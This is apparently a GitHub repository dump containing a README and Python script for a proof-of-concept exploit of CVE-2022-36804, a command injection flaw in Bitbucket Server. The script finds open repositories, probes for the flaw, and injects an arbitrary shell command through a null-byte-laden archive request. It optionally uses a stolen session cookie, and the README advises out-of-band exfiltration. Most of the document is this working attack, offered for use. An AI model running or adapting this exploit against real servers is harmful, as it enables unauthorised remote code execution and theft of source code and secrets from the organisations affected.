├── requirements.txt ├── .idea └── .gitignore ├── README.md └── main.py /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | colorama -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-36804-PoC-Exploit 2 | A somewhat reliable PoC exploit for CVE-2022-36804 (BitBucket Critical Command Injection). This attack generally requires public repos to be enabled, however session cookies are also compatible with this exploit. Note: this exploit includes automatic repo detection which is handy if you don't want to manually find open repos yourself. 3 | ## Install 4 | ```bash 5 | git clone https://github.com/BenHays142/CVE-2022-36804-PoC-Exploit.git; 6 | cd CVE-2022-36804-PoC-Exploit 7 | python3 -m pip install -r requirements.txt 8 | python3 main.py [target] 9 | ``` 10 | ## Use 11 | ``` 12 | usage: main.py [-h] [--project PROJECT] [--repo REPO] [--skip-auto] [--session SESSION] [--command CMD] server 13 | 14 | Exploit BitBucket Instances (< v8.3.1) using CVE-2022-36804. Exploits automagically without any extra parameters, but allows for custom settings as well. 15 | 16 | positional arguments: 17 | server 18 | 19 | options: 20 | -h, --help show this help message and exit 21 | --project PROJECT The name of the project the repository resides in 22 | --repo REPO The name of the repository 23 | --skip-auto Skip the automatic finding of exploitable repos 24 | --session SESSION Value of 'BITBUCKETSESSIONID' cookie, useful if target repo is private 25 | --command CMD Command to execute if exploit is successful (Note: getting output isn't reliable so OOB exfil is a must) 26 | 27 | ``` 28 | ## References 29 | [Atlassian Advisory](https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html) 30 | 31 | [Atlassian Jira Issue](https://jira.atlassian.com/browse/BSERV-13438) 32 | 33 | [NIST CVE](https://nvd.nist.gov/vuln/detail/CVE-2022-36804) 34 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | """ 2 | CVE: 2022-36804 3 | Description: Critical Unauthenticated Command Injection in Bitbucket Instances 4 | Author: BenHays142 5 | """ 6 | 7 | import requests 8 | import colorama 9 | import argparse 10 | import json 11 | import urllib.parse 12 | 13 | 14 | def detect_repo(server): 15 | print(colorama.Fore.WHITE + "[*] Checking for open repos...") 16 | query = s.get(server + "/rest/api/latest/repos").text 17 | query_json = json.loads(query) 18 | 19 | if query_json["size"] < 1: 20 | print(colorama.Fore.RED + "[-] Could not automatically find any suitable repos, perhaps try again with a valid session cookie") 21 | exit() 22 | else: 23 | print(colorama.Fore.GREEN + f"[+] Found {query_json['size']} suitable repo(s)...") 24 | 25 | # Pick first found repo (Maybe Fix later) 26 | print(colorama.Fore.GREEN + f"[+] Using \"{query_json['values'][0]['slug']}\" Repo inside \"{query_json['values'][0]['project']['name']}\" project...") 27 | 28 | # Note: We have to use the project's key for exploitation to succeed 29 | return query_json['values'][0]['slug'], query_json['values'][0]['project']['key'] 30 | 31 | 32 | def exec_stuff(server, project, repo, cmd): 33 | cmd = urllib.parse.quote(cmd) 34 | print(colorama.Fore.WHITE + "[*] Running command...") 35 | query = s.get(server + f"/rest/api/latest/projects/{project}/repos/{repo}/archive?format=zip&path=aaa&prefix=test/%00--remote=/%00--exec=%60{cmd}%60%00--prefix=/").text 36 | if "An error occurred while executing an external process" in query: 37 | print(colorama.Fore.RED + f"[-] Target does not appear to be vulnerable or some info is wrong") 38 | elif "com.atlassian.bitbucket.scm.CommandFailedException" in query: 39 | print(colorama.Fore.GREEN + "[+] The command has been executed (Note: getting output isn't reliable so OOB exfil using something like DNS or Interactsh is a must)") 40 | print(colorama.Fore.GREEN + f"[+] Response received from API: {json.loads(query)['errors'][0]['message']}") 41 | elif "You are not permitted to access this resource" in query: 42 | print(colorama.Fore.RED + "[-] You don't have access to this resource, if this is a private repo, you can try again using a session cookie") 43 | 44 | 45 | def check_vuln(server, project, repo): 46 | print(colorama.Fore.WHITE + "[*] Checking if site is vulnerable...") 47 | query = s.get(server + f"/rest/api/latest/projects/{project}/repos/{repo}/archive?format=zip&path=aaa&prefix=test/%00test").text 48 | 49 | # Check results 50 | if "An error occurred while executing an external process" in query: 51 | return False 52 | elif "is not a valid ref and may not be archived" in query: 53 | return True 54 | elif "You are not permitted to access this resource" in query: 55 | print(colorama.Fore.RED + "[-] You don't have access to this resource, if this is a private repo, you can try again using a session cookie") 56 | return False 57 | else: 58 | print(colorama.Fore.RED + "[-] Something weird happened, double check your parameters; Or perhaps the instance just isn't vulnerable") 59 | return False 60 | 61 | 62 | def main(): 63 | parser = argparse.ArgumentParser(description="Exploit BitBucket Instances (< v8.3.1) using CVE-2022-36804. Exploits " 64 | "automagically without any extra parameters, but allows for custom " 65 | "settings as well.") 66 | parser.add_argument("server") 67 | parser.add_argument("--project", type=str, action="store", dest="project", help="The name of the project the repository resides in", required=False) 68 | parser.add_argument("--repo", type=str, action="store", dest="repo", help="The name of the repository", required=False) 69 | parser.add_argument("--skip-auto", action="store_true", dest="skip_auto", help="Skip the automatic finding of exploitable repos", 70 | required=False) 71 | parser.add_argument("--session", type=str, action="store", dest="session", 72 | help="Value of 'BITBUCKETSESSIONID' cookie, useful if target repo is private ") 73 | parser.add_argument("--command", type=str, action="store", dest="cmd", 74 | help="Command to execute if exploit is successful (Note: getting output isn't reliable so OOB exfil is a must)") 75 | args = parser.parse_args() 76 | 77 | colorama.init(autoreset=True) 78 | 79 | # Initialize requests session and populate it with important data. 80 | global s 81 | s = requests.session() 82 | s.verify = False 83 | s.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"}) 84 | if args.session: 85 | s.cookies.update({"BITBUCKETSESSIONID": args.session}) 86 | 87 | # Handle some edge-cases with argparsing 88 | if not (args.server.startswith("https://") or args.server.startswith("http://")): 89 | args.server = "http://" + args.server 90 | print(args.server) 91 | if args.project and args.repo and not args.skip_auto: 92 | args.skip_auto = True 93 | elif args.project or args.repo: 94 | print(colorama.Fore.RED + "ERROR: You must provide both --project and --repo if you want to use either.") 95 | exit() 96 | 97 | if not args.skip_auto: 98 | args.repo, args.project = detect_repo(args.server) 99 | else: 100 | print(colorama.Fore.GREEN + f"[+] Using \"{args.repo}\" Repo inside \"{args.project}\" project...") 101 | 102 | if check_vuln(args.server, args.project, args.repo): 103 | print(colorama.Fore.GREEN + f"[+] Target is vulnerable!!!") 104 | if not args.cmd: 105 | print(colorama.Fore.GREEN + f"[+] Now, try again with --command to execute stuff (Note: getting output isn't reliable so OOB exfil is a must)") 106 | else: 107 | exec_stuff(args.server, args.project, args.repo, args.cmd) 108 | else: 109 | print(colorama.Fore.RED + f"[-] Target is not vulnerable or some info is wrong") 110 | 111 | 112 | if __name__ == "__main__": 113 | main() 114 | --------------------------------------------------------------------------------